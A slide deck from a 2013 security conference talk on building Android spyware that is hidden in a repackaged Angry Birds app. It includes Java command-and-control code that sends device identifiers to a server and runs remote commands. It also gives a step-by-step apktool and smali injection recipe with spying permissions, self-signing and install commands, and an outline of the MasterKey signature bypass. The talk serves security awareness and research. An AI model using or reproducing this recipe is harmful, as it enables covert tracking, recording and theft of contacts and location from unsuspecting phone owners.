HOW TO BUILD A SPYPHONE
SECTOR 2013
Kevin McNamee
October 2013
AGENDA

• Introduction
• Demo of SpyPhone in Action
• SpyPhone Design
• Injecting SpyPhone Service into an App
• Conclusion & Questions
SPYPHONE - THEN
SPYPHONE - NOW
SURVEILLANCE - THEN
SURVEILLANCE - NOW

Internet

[Diagram showing an Android phone connected to the Internet, and a web interface with location details and phone information.]
COUNTER MEASURES - NOW

Internet

STOP

Android Phone

DroidWhisper

Device: 302230301242571

Network Country Code: ca
Network Operator: TELUS

Contacts

Name: Akshay
Phone: (613) 455-9450
Email: akshay@gmail.com

Name: George
Phone: (613) 327-9690

Map

Logged in as soniaa2@gmail.com. Click to logout.
SMART PHONE HAS ACCESS TO...

- GPS Location
- Internet (from almost anywhere)
- A Microphone
- A Camera
- Local Wifi Networks
- E-Mail
- Text Messages
- Phone Calls
- Contact List
- Personal Information
SMART PHONE IS...

- A perfect cyber-espionage tool that can be used to track the victim’s location, download personal information, intercept and send messages, record their conversations and take pictures without them knowing.
- In the context of BYOD and APT, it makes a perfect platform for launching inside attacks on corporate or government networks.
Built an Android SpyPhone Service that can:
- Steal phone and contact information
- Report on location
- Execute commands from C&C server
  - Display message on phone
  - Send SMS to contacts
  - Take pictures and sent to C&C
  - Record sound and sent to C&C

SpyPhone Service is:
- Injected into legitimate version of Angry Birds
- Distributed from fake app store

Demo Shows
- Installation of infected application
- Sending information to C&C
- Locating the device
- Sending SMS
- Taking pictures
- Recording sound
DroidWhisper

Wed Feb 06 2013 16:14:33 GMT-0500 (Eastern Standard Time)

Device: af4322452d552d26

Device: 302220301242571
Very Angry Birds v1.0.0
By TheKnight. Updated October 12, 2011

Download

Tags
android app bestseller Book books classics digital digital book
digital books ebooks free Fun
funny game Magazine mobile music Novel puzzle
the books more tags

Download DroidDrop
Discover and download Android applications directly to your device.
DroidWhisper

Wed Feb 06 2013 16:16:48 GMT-0500 (Eastern Standard Time)

Device: af4322452d562d26

Device: 302220301242571
DroidWhisper

Wed Feb 06 2013 16:20:13 GMT-0600 (Eastern Standard Time)

Device: af4322452d552d26

Device: 302220301242571

Device: 3100046502210325
Device: 3100046502210325

Last Update: 2013-02-06T21:26:204Z
Owner: Unknown
Phone Number: Unknown
Phone Type: CDMA
Network Type: EVDO A
Device ID (MEID/IMEI): A000002C69E147
Mobile Subscriber ID (IMSI): 3100046502210325
Network Country Code: ca
Network Operator: Roaming
Network Operator MCC & MNC: 00000
SIM State: Ready
SIM Country Code: us
SIM Operator: Verizon
Software version: 0
Location: 45.34859581666666 -75.9188394833333 0.0 45.0

Contacts

Name: Unknown
Phones: Unknown
Emails: Unknown

Name: Unknown
Phones: Unknown
Emails: Unknown

Name: Unknown
Phones: Unknown
Emails: Unknown
Device: 3100046502210325

Last Update: 2013-02-06T21:27:36.143Z
Owner: [redacted]
Phone Number: [redacted]
Phone Type: CDMA
Network Type: EVDO A
Device ID (MEID/IMEI): A0000002C69E147
Mobile Subscriber ID (IMSI): 3100046502210325
Network Country Code: ca
Network Operator: Roaming
Network Operator MCC & MNC: 00000
SIM State: Ready
SIM Country Code: us
SIM Operator: Verizon
Software version: 0
Location: 45.3485647 -75.91890152857142

Contacts:
- Name: [redacted]
- Phones: [redacted]
- Emails: [redacted]
- Name: [redacted]
- Phones: [redacted]
- Emails: [redacted]
SPYPHONE DESIGN

• Implemented as Android Service
  - Self contained component
  - Runs in background even when app is stopped.
  - Starts at boot up
  - Easy to inject into legitimate applications

• Command & Control
  - HTTP to NodeJS Web Server

  update: send information to server
  toast: display message on screen
  shutdown: stop the bot
  sms: send SMS message to contacts
  location: send location information to server
  peep: take picture and send to server
  listen: record sound and send to server
private void processCommand() {
    // Fetch command from server
    TelephonyManager telephonyManager = (TelephonyManager) getSystemService(Context.TELEPHONY_SERVICE);
    String deviceId = telephonyManager.getDeviceId(); // IMEI for GSM, or MEID or ESN for CDMA
    String mobileSubscriberId = telephonyManager.getSubscriberId(); // IMSI
    if (mobileSubscriberId == null) {
        mobileSubscriberId = Secure.getString(getBaseContext().getContentResolver(), Secure.ANDROID_ID);
    }
    String responseBody = "";
    try {
        HttpClient httpClient = new DefaultHttpClient();
        HttpPost httpPost = new HttpPost("http://HOST1/checkin");
        List<NameValuePair> nameValuePairs = new ArrayList<NameValuePair> ();
        nameValuePairs.add(new BasicNameValuePair("IMEI", mobileSubscriberId ));
        httpPost.setEntity(new UrlEncodedFormEntity(nameValuePairs));
        HttpResponse response = httpClient.execute(httpPost);
        responseBody = EntityUtils.toString(response.getEntity());
        if (responseBody.isEmpty()) Log.d(LOG_TAG, "HTTP Response body: "+responseBody);
    } catch (ClientProtocolException e) {
        Log.d(LOG_TAG, "ClientProtocolException");
    } catch (IOException e) {
        Log.d(LOG_TAG, "IOException " + e.getLocalizedMessage());
    }
    // process command to fetch phone data
    if (responseBody.contains("update") || #NewLocationAvailable) {
        Log.d(LOG_TAG, "processing update command");
        collectData();
        if (#NewLocationAvailable) #NewLocationAvailable = false; // reset new location flag
    }
    // process command to display popup
    if(responseBody.startsWith("toast")) {
        Log.d(LOG_TAG, "processing toast command");
        final String msg = responseBody.substring(6);
        Toast.makeText(getApplicationContext(), msg, Toast.LENGTH_LONG).show();
    }
    Log.d(LOG_TAG, "finished processing toast command");
    // process command to cancel timers and stop the service
    if(responseBody.contains("shutdown")) {
        this.mUpdateTask.cancel();
        this.stopSelf();
    }
    // process command to send SMS spam
    if(responseBody.contains("sms")) {
        Log.d(LOG_TAG, "processing SMS command");
        // Send SMS to all contacts (done notification)
    }
}
USES STANDARD ANDROID APIs

• User Information
  - import android.accounts.Account;
  - import android.accounts.AccountManager;

• Phone & SMS
  - import android.telephony.SmsManager;
  - import android.telephony.TelephonyManager;

• Location
  - import android.location.Location;
  - import android.location.LocationListener;
  - import android.location.LocationManager;

• Recording
  - Import android.media.MediaRecording

• Camera
  – import android.hardware.Camera;
  – import android.hardware.Camera.PictureCallback;
  – import android.hardware.Camera.PreviewCallback;
  – import android.hardware.Camera.Size;
  – import android.media.AudioManager;
  – import android.view.SurfaceHolder;
  – import android.view.SurfaceView;

• Web C&C
1. Use apktool to extract the components from the target app (in this case Angry Birds 2000).

    apktool d AngryBirds.apk
2. Copy the smali code for the service to be injected into the smali directory structure. In our case it was in the directory “example/android/droidwhisper”.
3. Update the manifest to include the injected service and the permissions required by the injected service. The updated manifest in the case of Angry Birds is shown below:

- Remember the app name for later
- Define the Droidwhisperer service
- Define required permissions

```xml
<?xml version="1.0" encoding="utf-8"?>
<manifest
    android:versionCode="2000" android:versionName="2.0.0"
    android:installLocation="auto" package="com.rovio.angrybirds"
    xmlns:android="http://schemas.android.com/apk/res/android">
    <application
        android:label="@string/app_name"
        android:icon="@drawable/icon"
        android:debuggable="false">
        <activity
            android:theme="@android:style/Theme.NoTitleBar.Fullscreen"
            android:name="com.rovio.ka3d.App"
            android:launchMode="singleTask"
            android:screenOrientation="landscape"
            android:configChanges="keyboardHidden|orientation">
            <intent-filter>
                <action android:name="android.intent.action.MAIN" />
                <category android:name="android.intent.category.LAUNCHER" />
            </intent-filter>
        </activity>
        . . . (some lines missing) . . .
        <service android:name="com.example.android.droidwhisper.DictionarySvc">
            <intent-filter>
                <action android:name="com.rovio.ka3d.service.DICTIONARY_SERVICE" />
            </intent-filter>
        </service>
    </application>
    <uses-permission android:name="android.permission.ACCESS_NETWORK_STATE" />
    <uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE" />
    <uses-permission android:name="android.permission.ACCESS_WIFI_STATE" />
    <uses-permission android:name="android.permission.READ_PHONE_STATE" />
    <uses-permission android:name="android.permission.READ_CONTACTS" />
    <uses-permission android:name="android.permission.GET_ACCOUNTS" />
    <uses-permission android:name="android.permission.SEND_SMS" />
    <uses-permission android:name="android.permission.INTERNET" />
    <uses-permission android:name="android.permission.ACCESS_FINE_LOCATION" />
    <uses-permission android:name="android.permission.ACCESS_COARSE_LOCATION" />
    <uses-feature android:name="android.hardware.camera" />
    <uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE" />
    <uses-permission android:name="android.permission.RECORD_AUDIO" />
    <uses-sdk android:minSdkVersion="4" android:targetSdkVersion="13" />
</manifest>
```
INJECTION PROCESS

4. Locate the `onCreate` function in the main activity of the target app. This can be found by looking in the manifest. In the case of Angry Birds this was “com/rovio/ka3d/App”, highlighted in the manifest file above. Add the following smali code just after the “involk-super” call to `onCreate`.

```
# virtual methods
.method public onCreate(Landroid/os/Bundle;)V
   .locals 3
   .parameter "savedInstanceState"
   .prologue
   const/4 v2, -0x1
   .line 27
   sput-object p0, Lcom/rovio/ka3d/App;->sm_instance:Lcom/rovio/ka3d/App;
   .line 28
   invoke-super {p0, p1}, Landroid/app/Activity;->onCreate(Landroid/os/Bundle;)V

   new-instance v0, Landroid/content/Intent;
   invoke-direct {v0}, Landroid/content/Intent;-><init>()V
   .local v0, dictionaryIntent:Landroid/content/Intent;
   const-string v1, "com.rovio.ka3d.service.DICTIONARY_SERVICE"
   invoke-virtual {v0, v1}, Landroid/content/Intent;->setAction(Ljava/lang/String;)Landroid/content/Intent;
   invoke-virtual {v0, v0}, Landroid/app/Activity;->startService(Landroid/content/Intent;)Landroid/content/ComponentName;

   .line 20
   const/high16 v0, 0x7f03
   invoke-virtual {p0, v0}, Lcom/rovio/ka3d/App;->getString(I)Ljava/lang/String;
```
5. Rebuild the apk file using apktool.

   apktool b AngryBirds birds.apk

6. Sign the APK file. (Any old certificate will do!)

   jarsigner -verbose -keystore C:\kevin\keys birds.apk alias_name

   You can verify the cert with...
   jarsigner -verify -verbose -certs birds.apk

7. Optimize the APK file.

   zipalign -v 4 birds.apk birds1.apk

8. Install and test the new application. The logcat command can be used in the adb shell to check for errors.

   adb install birds1.apk
APP SIGNING

• All apps must be signed
• Any old signature will do (self signed)
• Only checked at install time
• No interface to view who signed it anyway
• Signature must match to replace/update existing app

“The certificate does not need to be signed by a certificate authority: it is perfectly allowable, and typical, for Android applications to use self-signed certificates.”
MASTERKEY VULNERABILITY

- The signing technique described above lets you install a new app on the device.
- If you want to replace one you can just rename your version to v2!

But alternatively:
- If you want to replace an app that’s already installed on the device you can use the so called “MasterKey Vulnerability”.
  - If the APK (zip file) contains files with the same name, the first one’s signature is verified but the second copy is installed.
  - This is more typically user to get “system” permissions by hijacking a “platform” signed app.
- To use this technique:
  - Follow the procedure above to build the new APK
  - Unzip it and extract the modified classes.dex and manifest.xml files.
  - Use zip and sed to add these files to the APK with the appropriate names.
SPYPHONE MARKET

FLEXI SPY
- Protect Your Children
- Catch Cheating Spouses

INTERCEPTOR SPYPHONE SOFTWARE
- Receive both incoming and outgoing text messages
- Dial in and listen to surrounding sounds
- Text notification when the target phone is switched on
- Time and date stamping
- Call notification shows number calling
- Text notification shows number calling
- Text notification shows number being called

OFFICIAL SITE SPYPHONE
- Turn your Android into a Family Monitoring Tool
- GPS Tracking On Phone Location
- View Incoming-Outgoing Calls
- View Websites Visited on Phone

SPYPHONE GOLD INTERNET

iPhone Spy Phone

The World Leader in Spy Phone Software for Monitoring your Android/Cell Phone.

Finally, no no parents are getting stuck in endless hours of long distance phone calls. Now that comes with all the advantages of free texting.
Questions?